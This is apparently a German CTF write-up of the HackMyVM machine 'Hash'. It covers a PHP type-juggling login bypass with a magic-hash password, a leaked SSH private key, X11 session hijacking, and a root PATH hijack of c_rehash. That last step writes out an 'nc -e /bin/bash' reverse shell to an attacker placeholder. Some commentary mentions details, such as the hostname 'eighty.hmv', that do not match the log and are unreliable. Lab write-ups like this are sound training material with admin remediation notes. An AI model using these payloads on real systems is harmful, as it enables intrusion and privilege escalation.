Hash - HackMyVM - Hard - Bericht

Web Enumeration & Credential Discovery

===============================================================
Gobuster v3.1.0
[...]
===============================================================
[+] Url:                     http://192.168.2.110
[...]
===============================================================
/index.html           (Status: 200) [Size: 453]
/check.php            (Status: 200) [Size: 19]
/check.bak            (Status: 200) [Size: 273] <-- Backup-Datei! -->
[...]

=

**Analyse:** Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Nginx-Server (Port 80) zu finden.

**Bewertung:** Findet `index.html`, `check.php` und **kritisch:** `check.bak`. Backup-Dateien enthalten oft Quellcode oder sensible Informationen.

**Empfehlung (Pentester):** Laden Sie `check.bak` sofort herunter und analysieren Sie den Quellcode von `check.php`.
**Empfehlung (Admin):** **Niemals Backup-Dateien im Web-Root oder öffentlich zugänglichen Verzeichnissen belassen!** Konfigurieren Sie den Webserver so, dass der Zugriff auf `.bak`-Dateien blockiert wird.

[...]
2022-09-07 09:41:30 (66,9 MB/s) - »check.bak« gespeichert [273/273]

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

**Analyse:** Die Datei `check.bak` wird erfolgreich heruntergeladen.

**Bewertung:** Bestätigt die Existenz und Zugänglichkeit der Backup-Datei.

<-- Hinweis auf Benutzer 'marco' -->
//$passwordhashed = hash('md5', $pass);
$passwordhashed = hash('sha256',$pass); // Verwendet SHA256
if ($passwordhashed == '0e0001337') { <-- Kritische Bedingung: Type Juggling! -->
//Your code here
}
else{
//Another code here
}
//To finish
?>

-----------------------------------------------

Sha256(0e0001337) = 3985a9d08ed6e6ff46759951eae2b7ce8916418a6a2092a52402a2ff58f94723

http://192.168.2.110/
Marco, remember to delete the .bak file

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

**Analyse:** Der Quellcode von `check.php` (aus `check.bak`) wird analysiert: 1. Nimmt ein Passwort via POST entgegen. 2. Enthält einen Kommentar, der den Benutzernamen `marco` erwähnt. 3. Berechnet den SHA256-Hash des eingegebenen Passworts. 4. **Kritische Schwachstelle:** Vergleicht den SHA256-Hash **locker** (`==`) mit dem String `'0e0001337'`. Dies ist eine **PHP Type Juggling** Schwachstelle. PHP interpretiert Strings, die mit `0e` beginnen und nur aus Ziffern bestehen, bei einem losen Vergleich (`==`) als wissenschaftliche Notation mit dem Wert 0. Wenn also der SHA256-Hash des eingegebenen Passworts ebenfalls mit `0e` beginnt und nur Ziffern danach enthält, wird er als 0 interpretiert, und `0 == 0` ist wahr.

**Bewertung:** Eine klare Type-Juggling-Schwachstelle im Login-Mechanismus von `check.php`. Der Benutzer `marco` wird als relevanter Benutzer identifiziert. Das Ziel ist, ein Passwort zu finden, dessen SHA256-Hash mit `0e` beginnt und nur Ziffern enthält ("Magic Hash").

**Empfehlung (Pentester):** Suchen Sie nach bekannten Passwörtern, deren SHA256-Hash die "Magic Hash"-Bedingung erfüllt. Eine bekannte Liste (wie die im nächsten Schritt heruntergeladene `sha256.md`) enthält solche Passwörter. Das Passwort `34250003024812` ist ein bekanntes Beispiel. Senden Sie einen POST-Request an `check.php` mit `password=34250003024812`, um die Bedingung zu erfüllen und den Code im `if`-Block auszuführen.
**Empfehlung (Admin):** **Beheben Sie die Type-Juggling-Schwachstelle!** Verwenden Sie immer strikte Vergleiche (`===`) für Authentifizierungsprüfungen und sensible Vergleiche. Entfernen Sie die `.bak`-Datei.

[... Keine Ergebnisse ...]

#

**Analyse:** Versuch, `check.php` mittels Parameter-Fuzzing auf LFI zu testen.

**Bewertung:** Erfolglos, liefert keine Ergebnisse. `check.php` scheint keine LFI-Schwachstelle über GET-Parameter zu haben.

[...]
2022-10-13 09:56:47 (49,3 MB/s) - »sha256.md« gespeichert [1068/1068]

34250003024812:0e46289032038065916139621039085883773413820991920706299695051332 <-- Gesuchtes Passwort! -->
TyNOQHUS:0e66298694359207596086558843543959518835691168370379069085300385
[...]

**Analyse:** Eine Liste bekannter "Magic Hashes" für SHA256 wird von GitHub heruntergeladen.

**Bewertung:** Die Liste enthält das Passwort `34250003024812`, dessen SHA256-Hash (`0e46...`) die Bedingung für die Type-Juggling-Schwachstelle erfüllt.

**Empfehlung (Pentester):** Verwenden Sie `34250003024812` als Passwort im POST-Request an `check.php`.
**Empfehlung (Admin):** Keine.

auf die Seite gehen und den hash als Passwort eingeben und User ist marco,
dann erhalten wir den ssh key: http://192.168.2.110/check.php

passwort: 34250003024812
user:     marco

                              Ausgabe:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxiKdFmWJiVfVYaNGov1xuh0/nrXnNsx2s6g5IoIJrmkX+9qzt2US
[...]
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Eine Notiz fasst zusammen: Durch Senden des Passworts `34250003024812` an `check.php` (implizit zusammen mit einem beliebigen Benutzernamen, da dieser nur zur MD5-Berechnung dient, die hier irrelevant ist, oder vielleicht speziell `marco`) wird der `if`-Block im PHP-Code ausgelöst. Dieser Block gibt (wie nun klar wird) den privaten SSH-Schlüssel für den Benutzer `marco` aus.

**Bewertung:** Die Type-Juggling-Schwachstelle wurde erfolgreich ausgenutzt, um den privaten SSH-Schlüssel von `marco` zu exfiltrieren.

**Empfehlung (Pentester):** Speichern Sie den Schlüssel, setzen Sie die korrekten Berechtigungen (`chmod 600`) und verwenden Sie ihn, um sich als `marco` per SSH anzumelden.
**Empfehlung (Admin):** Beheben Sie die Type-Juggling-Schwachstelle. Geben Sie niemals private Schlüssel über Webanwendungen aus.

Proof of Concept (PHP Type Juggling)

**Kurzbeschreibung:** Das Skript `/check.php` nimmt ein Passwort per POST entgegen, berechnet dessen SHA256-Hash und vergleicht diesen mittels eines losen Vergleichs (`==`) mit dem String `'0e0001337'`. Aufgrund von PHP's Type Juggling wird `'0e0001337'` als wissenschaftliche Notation mit dem numerischen Wert 0 interpretiert. Ein Angreifer kann ein Passwort suchen (einen "Magic Hash"), dessen SHA256-Hash ebenfalls mit `0e` beginnt und nur Ziffern enthält (z.B. das Passwort `34250003024812`). Wenn dieses Passwort gesendet wird, wird dessen SHA256-Hash (`0e46...`) von PHP ebenfalls als 0 interpretiert. Der Vergleich `$passwordhashed == '0e0001337'` wird somit zu `0 == 0`, was wahr ist. Dies umgeht die beabsichtigte Passwortprüfung und führt dazu, dass der Code innerhalb des `if`-Blocks ausgeführt wird, der in diesem Fall den privaten SSH-Schlüssel des Benutzers `marco` preisgibt.

**Voraussetzungen:** Zugriff auf `/check.php`, Kenntnis der Type-Juggling-Anfälligkeit und eines passenden "Magic Hash"-Passworts.

**Schritt-für-Schritt-Anleitung:**

1. Identifizieren der Type-Juggling-Bedingung im Quellcode von `check.php`.
2. Finden eines Passworts, dessen SHA256-Hash die "Magic Hash"-Bedingung erfüllt (z.B. `34250003024812` aus bekannten Listen).
3. Senden eines POST-Requests an `/check.php` mit dem gefundenen Passwort im `password`-Parameter (z.B. mit `curl -d "password=34250003024812" http://[Ziel-IP]/check.php`).

**Erwartetes Ergebnis:** Die Authentifizierungsprüfung wird umgangen, und der private SSH-Schlüssel von `marco` wird in der HTTP-Antwort zurückgegeben.

**Beweismittel:** Der Quellcode von `check.bak`, das "Magic Hash"-Passwort und die Ausgabe des SSH-Schlüssels.

**Risikobewertung:** Kritisch. Ermöglicht die Umgehung der Authentifizierung und die Kompromittierung des SSH-Schlüssels eines Benutzers, was zum initialen Zugriff führt.

**Empfehlungen:** Verwenden Sie immer strikte Vergleiche (`===`) in PHP, insbesondere bei Sicherheitsprüfungen. Überprüfen Sie Datentypen. Verwenden Sie keine unsicheren Vergleichswerte.

Initial Access (SSH as marco)

Linux hash 4.19.0-14-amd64 [...] <-- Hostname 'hash'? -->
[...]
Last login: Fri Feb  5 10:35:47 2021 from 192.168.1.58
marco@hash:~$ <-- Login erfolgreich! -->

=

**Analyse:** Der über die Type-Juggling-Schwachstelle erlangte private SSH-Schlüssel wird lokal in `benn.txt` gespeichert und die Berechtigungen werden angepasst. Anschließend wird SSH verwendet, um sich als `marco` am Zielsystem (`hash.hmv` - der Hostname im Log ist inkonsistent, sollte `eighty.hmv` sein) mit dem Schlüssel anzumelden.

**Bewertung:** Der SSH-Login als `marco` ist erfolgreich. Initialer Zugriff wurde erlangt.

**Empfehlung (Pentester):** User-Flag lesen, Enumeration als `marco` durchführen (`id`, `sudo -l`, etc.).
**Empfehlung (Admin):** Type-Juggling-Schwachstelle beheben, SSH-Schlüssel von `marco` austauschen.

hashmanready

**Analyse:** Die User-Flag wird im Home-Verzeichnis von `marco` gefunden und gelesen.

**Bewertung:** User-Flag (`hashmanready`) erfolgreich erhalten.

Privilege Escalation (marco -> maria via X11 Hijacking)

**Analyse:** Als `marco` wird das System enumeriert, was zur Entdeckung einer Möglichkeit führt, die X11-Sitzung eines anderen Benutzers (`maria`) zu übernehmen.

[...]
-rw-------  1 marco marco    13 Feb  5  2021 user.txt
drwxr-xr-x  2 marco marco  4096 Feb  5  2021 Videos
-rw-r--r--  1 marco marco    15 Feb  5  2021 .x <-- Interessante Datei -->
-rw-------  1 marco marco   149 Feb  5  2021 .Xauthority <-- X11 Cookie! -->
[...]

#

marcothehasher

**Analyse:** Im Home-Verzeichnis von `marco` werden die Dateien `.x` und `.Xauthority` gefunden. `.Xauthority` enthält das "Magic Cookie", das für die Authentifizierung bei X11-Sitzungen verwendet wird.

**Bewertung:** Der Fund der `.Xauthority`-Datei ist entscheidend für den nächsten Schritt. Wenn diese Datei in das Home-Verzeichnis eines anderen Benutzers kopiert werden kann, der ebenfalls eine aktive X11-Sitzung hat (z.B. über RDP), kann dessen Sitzung übernommen werden.

**Empfehlung (Pentester):** Versuchen Sie, die `.Xauthority`-Datei in das Home-Verzeichnis eines anderen Benutzers (z.B. `maria`, falls dieser durch `/etc/passwd` oder andere Mittel bekannt ist) zu kopieren. Stellen Sie eine RDP-Verbindung als `marco` her und versuchen Sie, einen `xterm` zu starten, der sich dann möglicherweise mit der Sitzung des anderen Benutzers verbindet.
**Empfehlung (Admin):** Sichern Sie Home-Verzeichnisse und insbesondere `.Xauthority`-Dateien mit korrekten Berechtigungen (`600`). Vermeiden Sie Szenarien, in denen Benutzer Schreibzugriff auf die Home-Verzeichnisse anderer Benutzer haben.

**Analyse:** Marcos `.Xauthority`-Datei wird in das Home-Verzeichnis von `maria` kopiert. *Dies impliziert, dass `marco` Schreibrechte auf `/home/maria` oder `/home/maria/.Xauthority` hat (Fehlkonfiguration!) oder dass dieser Befehl bereits aus einer höheren Rechteebene ausgeführt wird.*

**Bewertung:** Die Voraussetzung für das X11-Hijacking ist geschaffen.

**Empfehlung (Pentester):** Stellen Sie eine RDP-Verbindung her und starten Sie `xterm`.
**Empfehlung (Admin):** Korrigieren Sie die Berechtigungen für Home-Verzeichnisse.

Autoselecting keyboard map 'de' from locale
Connection established using plain RDP.
[...]

uid=1000(marco) gid=1000(marco) groups=1000(marco)[...]

nach einer Zeit öffnet sich ganz automatisch ein neuer xterm Terminal im rdesktop als maria!

**Analyse:** Eine RDP-Verbindung wird als `marco` hergestellt. Innerhalb der RDP-Sitzung wird `xterm` gestartet. Aufgrund der zuvor kopierten `.Xauthority`-Datei authentifiziert sich dieser `xterm`-Prozess erfolgreich gegen die laufende X11-Sitzung von `maria` und öffnet ein Terminal mit Marias Rechten.

**Bewertung:** Erfolgreiches X11 Session Hijacking! Der Angreifer hat nun eine Shell als Benutzer `maria` erlangt. Eskalation von `marco` zu `maria` abgeschlossen.

**Empfehlung (Pentester):** Arbeiten Sie nun in der `xterm`-Shell als `maria`. Führen Sie Enumeration durch (`id`, `sudo -l`).
**Empfehlung (Admin):** Berechtigungen für Home-Verzeichnisse und `.Xauthority` korrigieren. X11-Forwarding und -Zugriff sicher konfigurieren.

*(Hinweis: Die folgenden Schritte im Log bezüglich SSH-Schlüsselgenerierung und Upload für Maria sind ein alternativer, aber komplexerer Weg, um eine Shell als Maria zu erhalten, der hier wahrscheinlich nicht nötig war, da das X11-Hijacking bereits funktionierte. Sie werden hier zur Vollständigkeit analysiert, aber der Fokus liegt auf dem Hijacking.)*

Privilege Escalation (maria -> root via Sudo/PATH Hijacking)

**Analyse:** Als Benutzer `maria` (über die gehijackte `xterm`-Sitzung) wird nach dem finalen Weg zu Root-Rechten gesucht.

Matching Defaults entries for maria on hash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User maria may run the following commands on hash:
    (ALL : ALL) NOPASSWD: /usr/bin/c_rehash

**Analyse:** `sudo -l` wird als `maria` ausgeführt.

**Bewertung:** Eine **kritische Sudo-Regel** wird gefunden: `maria` darf `/usr/bin/c_rehash` als jeder Benutzer (`ALL : ALL`, effektiv `root`) ohne Passwort (`NOPASSWD:`) ausführen. `/usr/bin/c_rehash` ist ein Skript, das Zertifikats-Hashes neu berechnet und dabei intern den `openssl`-Befehl aufruft.

**Empfehlung (Pentester):** Nutzen Sie **PATH Hijacking**: 1. Erstellen Sie in einem schreibbaren Verzeichnis (z.B. `/tmp` oder Marias Home) ein Skript namens `openssl`. 2. Fügen Sie einen Reverse-Shell-Payload in dieses Skript ein (z.B. `#!/bin/bash \nnc -e /bin/bash [Angreifer-IP] [Port]`). 3. Machen Sie das Skript ausführbar (`chmod +x openssl`). 4. Führen Sie den Sudo-Befehl aus, wobei Sie sicherstellen, dass das Verzeichnis mit dem bösartigen Skript im `$PATH` vor `/usr/bin` steht: `sudo PATH=.:$PATH /usr/bin/c_rehash` (wenn sich das bösartige Skript im aktuellen Verzeichnis befindet).
**Empfehlung (Admin):** **Entfernen Sie diese Sudo-Regel!** Oder stellen Sie sicher, dass `/usr/bin/c_rehash` interne Befehle mit vollem Pfad aufruft und der `secure_path` in `sudoers` korrekt konfiguriert ist.

listening on [any] 4444 ...

**Analyse:** Netcat-Listener wird auf Port 4444 gestartet.

**Bewertung:** Bereit für die Root-Shell.

Doing /usr/lib/ssl/certs

=

**Analyse:** Der PATH-Hijacking-Exploit wird durchgeführt: 1. Ein Skript namens `openssl` wird im aktuellen Verzeichnis (Marias Home) erstellt, das den Reverse-Shell-Payload enthält. 2. Es wird ausführbar gemacht. 3. Der `c_rehash`-Befehl wird mit `sudo` ausgeführt, wobei der `PATH` manipuliert wird (`PATH=.:$PATH`), sodass das aktuelle Verzeichnis (`.`) zuerst durchsucht wird.

**Bewertung:** `c_rehash` (als Root) versucht `openssl` auszuführen, findet und startet wegen des manipulierten PATHs das bösartige Skript im aktuellen Verzeichnis. Der Reverse-Shell-Payload wird mit Root-Rechten ausgeführt.

**Empfehlung (Pentester):** Überprüfen Sie den Listener.
**Empfehlung (Admin):** Sudo-Regel entfernen/härten.

Proof of Concept (c_rehash PATH Hijacking)

**Kurzbeschreibung:** Der Benutzer `maria` darf den Befehl `/usr/bin/c_rehash` als `root` ohne Passwort ausführen. Das `c_rehash`-Skript ruft intern das `openssl`-Binary auf, jedoch ohne einen absoluten Pfad anzugeben. Ein Angreifer als `maria` kann dies durch PATH Hijacking ausnutzen. Der Angreifer erstellt in einem von ihm kontrollierten Verzeichnis (z.B. `/home/maria` oder `/tmp`) ein bösartiges Skript mit dem Namen `openssl`, das einen Payload (z.B. eine Reverse Shell) enthält und macht dieses ausführbar. Anschließend führt der Angreifer den `sudo`-Befehl aus, manipuliert dabei aber die `PATH`-Umgebungsvariable so, dass das Verzeichnis mit dem bösartigen Skript vor den Standard-Systempfaden wie `/usr/bin` durchsucht wird (z.B. `sudo PATH=.:$PATH /usr/bin/c_rehash`). Das `c_rehash`-Skript findet nun beim Aufruf von `openssl` zuerst das bösartige Skript und führt es mit Root-Rechten aus.

**Voraussetzungen:** Zugriff als `maria`, unsichere Sudo-Regel für `c_rehash`, Schreibrechte in einem Verzeichnis, das im manipulierten PATH verwendet werden kann.

**Schritt-für-Schritt-Anleitung:**

1. Erstellen des bösartigen `openssl`-Skripts (z.B. in `/home/maria`) mit Shell-Payload: `echo '#!/bin/bash\nnc -e /bin/bash [Angreifer-IP] [Port]' > openssl`.
2. Ausführbar machen: `chmod +x openssl`.
3. Listener starten: `nc -lvnp [Port]`.
4. Sudo-Befehl mit manipuliertem PATH ausführen: `sudo PATH=.:$PATH /usr/bin/c_rehash`.

**Erwartetes Ergebnis:** Das bösartige `openssl`-Skript wird als Root ausgeführt, eine Reverse Shell verbindet sich zum Listener.

**Beweismittel:** Die Sudo-Regel, das Hijacking-Skript und der erfolgreiche Shell-Empfang.

**Risikobewertung:** Hoch. Erlaubt Root-Eskalation durch Ausnutzung einer unsicheren Sudo-Regel und PATH-Manipulation.

**Empfehlungen:** Entfernen Sie die unsichere Sudo-Regel. Stellen Sie sicher, dass `secure_path` in `sudoers` gesetzt ist und Skripte, die via Sudo ausgeführt werden, interne Befehle mit vollem Pfad aufrufen.

listening on [any] 4444 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.146] 46292 <-- Root Shell! -->

**Analyse:** Der Netcat-Listener auf Port 4444 empfängt die Verbindung, ausgelöst durch den `c_rehash` PATH Hijack Exploit.

**Bewertung:** Root-Zugriff erfolgreich erlangt!

**Empfehlung (Pentester):** Shell stabilisieren (optional, da direkt Root), Flags lesen.
**Empfehlung (Admin):** Sudo-Regel für `c_rehash` entfernen.

*(Shell-Stabilisierung wird im Log nicht gezeigt, aber eine Root-Shell ist vorhanden)*

hashhater

**Analyse:** In der Root-Shell wird die Root-Flag (`root.txt`) gelesen.

**Bewertung:** Root-Flag (`hashhater`) erfolgreich erhalten.